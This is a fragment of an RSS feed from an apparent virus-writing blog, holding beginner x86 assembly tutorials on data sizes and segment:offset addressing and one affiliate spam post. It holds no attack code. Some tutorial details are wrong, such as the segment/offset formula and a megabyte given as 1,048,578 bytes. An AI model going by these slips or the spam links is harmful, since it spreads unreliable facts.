&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/ijbCZA-mM58/registers-ax.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/registers-ax.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-6841701692396512070</guid><pubDate>Wed, 12 Mar 2008 15:57:00 +0000</pubDate><atom:updated>2008-03-19T03:15:13.690+08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ads</category><title>New affiliates</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ptz9w4Up8Q2YnKMW2HcX9V2fZkU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ptz9w4Up8Q2YnKMW2HcX9V2fZkU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ptz9w4Up8Q2YnKMW2HcX9V2fZkU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ptz9w4Up8Q2YnKMW2HcX9V2fZkU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;New affiliates added at the right side! Check this out!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ambiense.com/" title="Wireless Speakers" target="_blank"&gt;Wireless Speakers&lt;/a&gt;&lt;br /&gt;Search through this great collection of brand name speakers&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.vig-rx-plus.co.uk/" title="Vigrx" target="_blank"&gt;Vigrx&lt;/a&gt;&lt;br /&gt;Health supplements with great multiple discounts!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://turbo.planethost.org.uk/" title="Penis Enlargement" target="_blank"&gt;Penis Enlargement&lt;/a&gt;&lt;br /&gt;Testing kits for infections&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.avrentcar.com/" title="Av Rent Car" target="_blank"&gt;Av Rent Car&lt;/a&gt;&lt;br /&gt;Algarve car hire&lt;br /&gt;faro car hire&lt;br /&gt;faro airport car hire&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-6841701692396512070?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=TM-kimKYRtk:sGOJzxF1n4c:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=TM-kimKYRtk:sGOJzxF1n4c:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=TM-kimKYRtk:sGOJzxF1n4c:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=TM-kimKYRtk:sGOJzxF1n4c:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/TM-kimKYRtk/new-affiliates_12.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/new-affiliates_12.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-3399733173642100630</guid><pubDate>Tue, 11 Mar 2008 15:47:00 +0000</pubDate><atom:updated>2008-03-11T23:55:15.991+08:00</atom:updated><title>Segments and Offsets</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/O6NxyXmUc1M_iCist_1EyoD2i08/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/O6NxyXmUc1M_iCist_1EyoD2i08/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/O6NxyXmUc1M_iCist_1EyoD2i08/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/O6NxyXmUc1M_iCist_1EyoD2i08/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Pay close attention, because this topic is (I believe) the single most difficult (or annoying, once you understand it) aspect of ASSEMBLER.&lt;br /&gt;&lt;br /&gt;An OverView:&lt;br /&gt;&lt;br /&gt;The original designers of the 8088, way back when dinasaurs ruled the planet, decided that no one would ever possibly need more than one MEG (short for MEGABYTE :) of memory.  So they built the machine so that it couldn't access above 1 MEG. To access the whole MEG, 20 BITs are needed. Problem was that the registers only had 16 bits, and if the used two registers, that would be 32 bits, which was way too much (they thought.) So they came up with a rather brilliant (blah) way to do their addressing- they would use two registers.  They decided that they would not be 32bits, but the two registers would create 20 bit addressing.  And thus Segments and OFFsets were born.  And now the confusing specifics.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OFFSET  = SEGMENT*16&lt;br /&gt;SEGMENT = OFFSET /16    ;note that the lower 4 bits are lost&lt;br /&gt;&lt;br /&gt;                &lt;br /&gt;SEGMENT * 16    |0010010000010000----|  range (0 to 65535) * 16&lt;br /&gt; +                   &lt;br /&gt;OFFSET          |----0100100000100010|  range (0 to 65535)&lt;br /&gt; =&lt;br /&gt;20 bit address  |00101000100100100010|  range 0 to 1048575 (1 MEG)&lt;br /&gt;&lt;br /&gt;This shows how DS:SI is used to construct a 20 bit address.&lt;br /&gt;&lt;br /&gt;Segment registers are: CS, DS, ES, SS. On the 386+ there are also FS &amp;amp; GS&lt;br /&gt;&lt;br /&gt;Offset registers  are: BX, DI, SI, BP, SP, IP.  In 386+ protected mode, ANY general register (not a segment register) can be used as an Offset register.  (Except IP, which you can't access.)&lt;br /&gt;&lt;br /&gt;    CS:IP =&gt; Points to the currently executing code.&lt;br /&gt;    SS:SP =&gt; Points to the current stack position.&lt;br /&gt;&lt;br /&gt;If you'll notice, the value in the SEGMENT register is multiplied by 16 (or shifted left 4 bits) and then added to the OFFSET register. Together they create a 20 bit address.  Also Note that there are MANY combinations of the SEGMENT and OFFSET registers that will produce the same address.  The standard notation for a SEGment/OFFset pair is:&lt;br /&gt;&lt;br /&gt;SEGMENT:OFFSET or A000:0000 ( which is, of course in HEX )&lt;br /&gt;&lt;br /&gt;    Where SEGMENT = 0A000h and OFFSET = 00000h.  (This happens to be the&lt;br /&gt;    address of the upper left pixel on a 320x200x256 screen.)&lt;br /&gt;&lt;br /&gt;You may be wondering what would happen if you were to have a segment value of 0FFFFh and an offset value of 0FFFFh. &lt;br /&gt;&lt;br /&gt;    Take notice: 0FFFFh * 16 (or 0FFFF0h ) + 0FFFFh = 1,114,095, which is&lt;br /&gt;      definately larger than 1 MEG (which is 1,048,576.)&lt;br /&gt;&lt;br /&gt;This means that you can actually access MORE than 1 meg of memory!  Well, to actually use that extra bit of memory, you would have to enable something called the A20 line, which just enables the 21st bit for addressing.  This little extra bit of memory is usually called "HIGH MEMORY" and is used when you load something into high memory or say DOS = HIGH in your AUTOEXEC.BAT file.  (HIMEM.SYS actually puts it up there..)  You don't need to know that last bit, but hey, knowledge is good, right?&lt;br /&gt;&lt;br /&gt;Now, I think it's over here and I'm exposing to you about the "REGISTERS" in the next post. See ya!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-3399733173642100630?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ocBLhmDzK3I:_7gr5KjrZI8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ocBLhmDzK3I:_7gr5KjrZI8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ocBLhmDzK3I:_7gr5KjrZI8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ocBLhmDzK3I:_7gr5KjrZI8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/ocBLhmDzK3I/segments-and-offsets.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/segments-and-offsets.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-617473135706373021</guid><pubDate>Mon, 10 Mar 2008 22:23:00 +0000</pubDate><atom:updated>2008-03-11T06:28:01.855+08:00</atom:updated><title>Assembly Tutorial (Continued)</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/N7EC5Q-7AqZ29vJNL4mZ1GVE5Ks/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N7EC5Q-7AqZ29vJNL4mZ1GVE5Ks/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/N7EC5Q-7AqZ29vJNL4mZ1GVE5Ks/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N7EC5Q-7AqZ29vJNL4mZ1GVE5Ks/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;As before we know the basic such as byte, nibble and bit. Today i'll tell you more about this basics.&lt;br /&gt;&lt;br /&gt;1  WORD      |0000000000000000|&lt;br /&gt;2  BYTEs      ÀÄ AH ÄÙÀÄ AL ÄÙ    &lt;br /&gt;4  NIBBLEs    ÀÄÄÄÄÄ AX ÄÄÄÄÄÙ&lt;br /&gt;16 BITs&lt;br /&gt;&lt;br /&gt;The WORD is just two BYTEs that are stuck together.  A word has a maximum value of 0FFFFh (= 65,535).  Since a WORD is 4 NIBBLEs, it is represented by 4 HEX digits.  This is the size of the 16bit registers on the 80x86 chips.  The registers are: AX, BX, CX, DX, DI, SI, BP, SP, CS, DS, ES, SS, and IP.  Note that you cannot directly change the contents of IP or CS in any way.  They can only be changed by JMP, CALL, or RET.&lt;br /&gt;&lt;br /&gt;1  DWORD&lt;br /&gt;2  WORDs     |00000000000000000000000000000000|&lt;br /&gt;4  BYTEs      ³               ÀÄ AH ÄÙÀÄ AL ÄÙ    &lt;br /&gt;8  NIBBLEs    ³               ÀÄÄÄÄÄ AX ÄÄÄÄÄÙ&lt;br /&gt;32 BITs       ÀÄÄÄÄÄÄÄÄÄÄÄÄ EAX ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ&lt;br /&gt;&lt;br /&gt;A DWORD (or "DOUBLE WORD") is just two WORDs, hence the name DOUBLE-WORD. This can have a maximum value of 0FFFFFFFFh (8 NIBBLEs, 8 'F's) which equals 4,294,967,295.  Damn large.  This is also the size or the 386's 32bit registers: EAX, EBX, ECX, EDX, EDI, ESI, EBP, ESP, EIP.  The 'E ' denotes that they are EXTENDED registers.  The lower 16bits is where the normal 16bit register of the same name is located.&lt;br /&gt;&lt;br /&gt;1    KILOBYTE   |-lots of zeros (8192 of 'em)-|&lt;br /&gt;256  DWORDs&lt;br /&gt;512  WORDs&lt;br /&gt;1024 BYTEs&lt;br /&gt;2048 NIBBLEs&lt;br /&gt;8192 BITs&lt;br /&gt;&lt;br /&gt;We've all heard the term KILOBYTE byte, before, so I'll just point out that a KILOBYTE, despite its name, is -NOT- 1000 BYTEs.  It is actually 1024 bytes.&lt;br /&gt;&lt;br /&gt;          1 MEGABYTE   |-even more zeros (8,388,608 of 'em)-|&lt;br /&gt;      1,024 KILOBYTEs&lt;br /&gt;    262,144 DWORDs&lt;br /&gt;    524,288 WORDs&lt;br /&gt;  1,048,576 BYTEs&lt;br /&gt;  2,097,152 NIBBLEs&lt;br /&gt;  8,388,608 BITs&lt;br /&gt;&lt;br /&gt;Just like the KILOBYTE, the MEGABYTE is -NOT- 1 million bytes.  It is actually 1024*1024 BYTEs, or 1,048,578 BYTEs&lt;br /&gt;&lt;br /&gt;we will investigate an annoying little aspect of the 80x86 processors in later post.  I'm talking about nothing other than SEGMENTS &amp;amp; OFFSETS!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-617473135706373021?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=B1yRMfSy19E:J6KlQgNOpPk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=B1yRMfSy19E:J6KlQgNOpPk:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B1yRMfSy19E:J6KlQgNOpPk:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/B1yRMfSy19E/assembly-tutorial-continued.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/assembly-tutorial-continued.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-8023618231503098469</guid><pubDate>Sun, 09 Mar 2008 15:35:00 +0000</pubDate><atom:updated>2008-03-09T23:55:01.992+08:00</atom:updated><title>Assembly Tutorial (As Requested)</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dQyuYdaL83m3P8ZKzllVJmzaim8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dQyuYdaL83m3P8ZKzllVJmzaim8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dQyuYdaL83m3P8ZKzllVJmzaim8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dQyuYdaL83m3P8ZKzllVJmzaim8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Now i'm trying to get you know better about assembly language as requested by our friends. (frndskiller &amp;amp; team)&lt;br /&gt;&lt;br /&gt;First thing ya need to know is a little jargon so you can talk about the basic data structures with your friends and neighbors.  They are (in order of increasing size) BIT, NIBBLE, BYTE, WORD, DWORD, FWORD, PWORD and QWORD, PARA, KiloByte, MegaByte.  The ones that you'll need to memorize are BYTE, WORD, DWORD, KiloByte, and MegaByte.  The others aren't used all that&lt;br /&gt;much, and you wont need to know them to get started.  Here's a little graphical representation of a few of those data structures:&lt;br /&gt;&lt;br /&gt;(The zeros in between the || is a graphical representation of the number of bits in that data structure.)&lt;br /&gt;&lt;br /&gt;1 BIT :     |0|&lt;br /&gt;&lt;br /&gt;    The simplest piece of data that exists.  Its either a 1 or a zero.&lt;br /&gt;    Put a string of them together and you have a BASE-2 number system.&lt;br /&gt;    Meaning that instead of each 'decimal' place being worth 10, its only&lt;br /&gt;    worth 2.  For instance: 00000001 = 1; 00000010 = 2; 00000011 = 3, etc..&lt;br /&gt;&lt;br /&gt;1 NIBBLE:   |0000|&lt;br /&gt;4 BITs&lt;br /&gt;&lt;br /&gt;    The NIBBLE is half a BYTE or four BITS.  Note that it has a maximum value&lt;br /&gt;    of 15 (1111 = 15).  Not by coincidence, HEXADECIMAL, a base 16 number&lt;br /&gt;    system (computers are based on this number system) also has a maximum&lt;br /&gt;    value of 15, which is represented by the letter 'F'.  The 'digits' in&lt;br /&gt;    HEXADECIMAL are (in increasing order):&lt;br /&gt;   &lt;br /&gt;    "0123456789ABCDEF"&lt;br /&gt;&lt;br /&gt;    The standard notation for HEXADECIMAL is a zero followed by the number       &lt;br /&gt;    in HEX followed by a lowercase "h"  For instance: "0FFh" = 255 DECIMAL.&lt;br /&gt;&lt;br /&gt;1 BYTE      |00000000|&lt;br /&gt;2 NIBBLEs    ÀÄ AL ÄÙ&lt;br /&gt;8 BITs&lt;br /&gt;&lt;br /&gt;    The BYTE is the standard chunk of information.  If you asked how much&lt;br /&gt;    memory a machine had, you'd get a response stating the number of BYTEs it&lt;br /&gt;    had. (Usually preceded by a 'Mega' prefix).  The BYTE is 8 BITs or&lt;br /&gt;    2 NIBBLEs.  A BYTE has a maximum value of 0FFh (= 255 DECIMAL).  Notice&lt;br /&gt;    that because a BYTE is just 2 NIBBLES, the HEXADECIMAL representation is&lt;br /&gt;    simply two HEX digits in a row (ie. 013h, 020h, 0AEh, etc..)&lt;br /&gt;&lt;br /&gt;    The BYTE is also that size of the 'BYTE sized' registers - AL, AH, BL, BH,&lt;br /&gt;    CL, CH, DL, DH.&lt;br /&gt;&lt;br /&gt;That's all for today :-).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-8023618231503098469?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=B-ZTEvW7M8U:0w6Ch0sWK4o:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=B-ZTEvW7M8U:0w6Ch0sWK4o:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=B-ZTEvW7M8U:0w6Ch0sWK4o:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/B-ZTEvW7M8U/assembly-tutorial-as-requested.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/assembly-tutorial-as-requested.html</feedburner:origLink></item></channel></rss>

